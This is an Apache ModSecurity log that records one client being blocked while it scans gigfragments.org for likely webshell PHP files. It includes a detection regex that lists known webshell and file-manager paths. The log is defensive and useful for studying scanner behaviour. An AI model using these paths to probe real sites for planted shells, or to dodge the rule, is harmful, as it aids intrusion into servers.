[Sat Feb 28 01:02:27.347212 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43585] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaHOIwP6I7SRqrhh7RrmgwAAAU0"]
[Sat Feb 28 01:02:27.758797 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43678] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aaHOIwP6I7SRqrhh7RrmhwAAAUI"]
[Sat Feb 28 01:02:28.179416 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43655] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aaHOJAP6I7SRqrhh7RrmiwAAAU4"]
[Sat Feb 28 01:02:28.590604 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43864] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aaHOJAP6I7SRqrhh7RrmjwAAAVQ"]
[Sat Feb 28 01:02:29.004909 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43818] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aaHOJQP6I7SRqrhh7RrmlgAAAVE"]
[Sat Feb 28 01:02:29.419748 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43608] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aaHOJQP6I7SRqrhh7RrmmQAAAVI"]
[Sat Feb 28 01:02:29.831364 2026] [:error] [pid 38586:tid 38601] [client 20.220.196.236:43695] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aaHOJb_i6nvKNhjFW7UuqQAAAQw"]
[Sat Feb 28 01:02:30.243938 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43595] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aaHOJgP6I7SRqrhh7RrmnQAAAVY"]
[Sat Feb 28 01:02:30.656627 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43648] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aaHOJr_i6nvKNhjFW7UurAAAAQY"]
[Sat Feb 28 01:02:31.068958 2026] [:error] [pid 15099:tid 15143] [client 20.220.196.236:43705] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHOJ-nvP2vtPjYDq_guvAAAAMo"]
[Sat Feb 28 01:02:31.480884 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43745] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHOJwP6I7SRqrhh7RrmoQAAAU0"]
[Sat Feb 28 01:02:31.893637 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43588] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHOJwP6I7SRqrhh7RrmpgAAAVA"]
[Sat Feb 28 01:02:32.302802 2026] [:error] [pid 38586:tid 38597] [client 20.220.196.236:43690] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHOKL_i6nvKNhjFW7UuuwAAAQg"]
[Sat Feb 28 01:02:32.712695 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43593] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOKAP6I7SRqrhh7RrmrAAAAUs"]
[Sat Feb 28 01:02:33.124035 2026] [:error] [pid 15099:tid 15145] [client 20.220.196.236:43632] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOKenvP2vtPjYDq_guvwAAAMw"]
[Sat Feb 28 01:02:33.531984 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43651] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOKQP6I7SRqrhh7RrmsAAAAU0"]
[Sat Feb 28 01:02:33.942564 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43660] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaHOKQP6I7SRqrhh7RrmswAAAVU"]
[Sat Feb 28 01:02:34.353750 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43772] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aaHOKgP6I7SRqrhh7RrmtgAAAUQ"]
[Sat Feb 28 01:02:34.765291 2026] [:error] [pid 38586:tid 38589] [client 20.220.196.236:43741] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aaHOKr_i6nvKNhjFW7UuxwAAAQA"]
[Sat Feb 28 01:02:35.177684 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43693] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aaHOKy1iKL_41Rk9A9NmdwAAABQ"]
[Sat Feb 28 01:02:35.589967 2026] [:error] [pid 15240:tid 15254] [client 20.220.196.236:43704] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aaHOKy1iKL_41Rk9A9NmeQAAAAw"]
[Sat Feb 28 01:02:36.002857 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43620] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ov.php"] [unique_id "aaHOLOnvP2vtPjYDq_guwQAAAME"]
[Sat Feb 28 01:02:36.411853 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43598] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ov.php"] [unique_id "aaHOLAP6I7SRqrhh7RrmxgAAAVY"]
[Sat Feb 28 01:02:36.824976 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43631] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ov.php"] [unique_id "aaHOLAP6I7SRqrhh7RrmygAAAUA"]
[Sat Feb 28 01:02:37.241253 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43759] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ov.php"] [unique_id "aaHOLQP6I7SRqrhh7RrmzQAAAU8"]
[Sat Feb 28 01:02:37.653713 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43779] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHOLQP6I7SRqrhh7Rrm0gAAAUY"]
[Sat Feb 28 01:02:55.382115 2026] [:error] [pid 15099:tid 15149] [client 20.220.196.236:43590] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaHOP-nvP2vtPjYDq_gu1gAAANA"]
[Sat Feb 28 01:02:55.794579 2026] [:error] [pid 15099:tid 15148] [client 20.220.196.236:43775] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaHOP-nvP2vtPjYDq_gu1wAAAM8"]
[Sat Feb 28 01:02:56.208536 2026] [:error] [pid 15099:tid 15154] [client 20.220.196.236:43668] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaHOQOnvP2vtPjYDq_gu2QAAANU"]
[Sat Feb 28 01:02:56.621249 2026] [:error] [pid 15240:tid 15244] [client 20.220.196.236:43774] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaHOQC1iKL_41Rk9A9NmoAAAAAI"]
[Sat Feb 28 01:02:57.033210 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43769] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aaHOQb_i6nvKNhjFW7UvIgAAAQM"]
[Sat Feb 28 01:02:57.444143 2026] [:error] [pid 38586:tid 38597] [client 20.220.196.236:43744] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aaHOQb_i6nvKNhjFW7UvJQAAAQg"]
[Sat Feb 28 01:02:57.855477 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43682] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aaHOQb_i6nvKNhjFW7UvJwAAARg"]
[Sat Feb 28 01:02:58.268776 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43698] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aaHOQgP6I7SRqrhh7RrnQAAAAVI"]
[Sat Feb 28 01:02:58.684102 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43710] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHOQgP6I7SRqrhh7RrnRAAAAU8"]
[Sat Feb 28 01:02:59.096328 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43718] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHOQwP6I7SRqrhh7RrnRgAAAU4"]
[Sat Feb 28 01:02:59.506488 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43823] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHOQwP6I7SRqrhh7RrnSgAAAUo"]
[Sat Feb 28 01:02:59.918505 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:44014] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHOQy1iKL_41Rk9A9NmqwAAAAg"]
[Sat Feb 28 01:03:00.331996 2026] [:error] [pid 15099:tid 15139] [client 20.220.196.236:43674] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aaHOROnvP2vtPjYDq_gu2wAAAMY"]
[Sat Feb 28 01:03:00.745590 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43691] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aaHORL_i6nvKNhjFW7UvLAAAAQ0"]
[Sat Feb 28 01:03:01.156618 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:43634] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aaHORb_i6nvKNhjFW7UvMwAAAQQ"]
[Sat Feb 28 01:03:01.566516 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43642] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aaHORb_i6nvKNhjFW7UvNwAAARg"]
[Sat Feb 28 01:03:01.980838 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43699] [client 20.220.196.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aaHORQP6I7SRqrhh7RrnVQAAAUQ"]
[Sat Feb 28 01:03:02.405547 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43768] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaHORr_i6nvKNhjFW7UvQQAAAQc"]
[Sat Feb 28 01:03:02.827520 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43555] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaHORgP6I7SRqrhh7RrnWwAAAUw"]
[Sat Feb 28 01:03:03.240320 2026] [:error] [pid 15099:tid 15150] [client 20.220.196.236:43833] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaHOR-nvP2vtPjYDq_gu6QAAANE"]
[Sat Feb 28 01:03:03.676517 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43815] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaHORwP6I7SRqrhh7RrnZAAAAVE"]
[Sat Feb 28 01:03:04.091738 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43306] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aaHOSL_i6nvKNhjFW7UvUAAAAQ0"]
[Sat Feb 28 01:03:04.512665 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43666] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aaHOSAP6I7SRqrhh7RrnawAAAVI"]
[Sat Feb 28 01:03:04.924326 2026] [:error] [pid 38586:tid 38589] [client 20.220.196.236:43624] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aaHOSL_i6nvKNhjFW7UvVgAAAQA"]
[Sat Feb 28 01:03:05.333704 2026] [:error] [pid 15100:tid 15173] [client 20.220.196.236:43656] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aaHOSUOEbzcINan_ctK4-QAAAE0"]
[Sat Feb 28 01:03:05.745288 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43535] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aaHOSb_i6nvKNhjFW7UvWgAAAQs"]
[Sat Feb 28 01:03:06.159803 2026] [:error] [pid 38586:tid 38612] [client 20.220.196.236:43597] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aaHOSr_i6nvKNhjFW7UvYQAAARc"]
[Sat Feb 28 01:03:06.567372 2026] [:error] [pid 38586:tid 38590] [client 20.220.196.236:44006] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aaHOSr_i6nvKNhjFW7UvZAAAAQE"]
[Sat Feb 28 01:03:06.977887 2026] [:error] [pid 15240:tid 15259] [client 20.220.196.236:43545] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aaHOSi1iKL_41Rk9A9NmuAAAABE"]
[Sat Feb 28 01:03:07.391285 2026] [:error] [pid 15098:tid 15122] [client 20.220.196.236:43561] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aaHOS8kFqny8dQQbmTkevAAAAJA"]
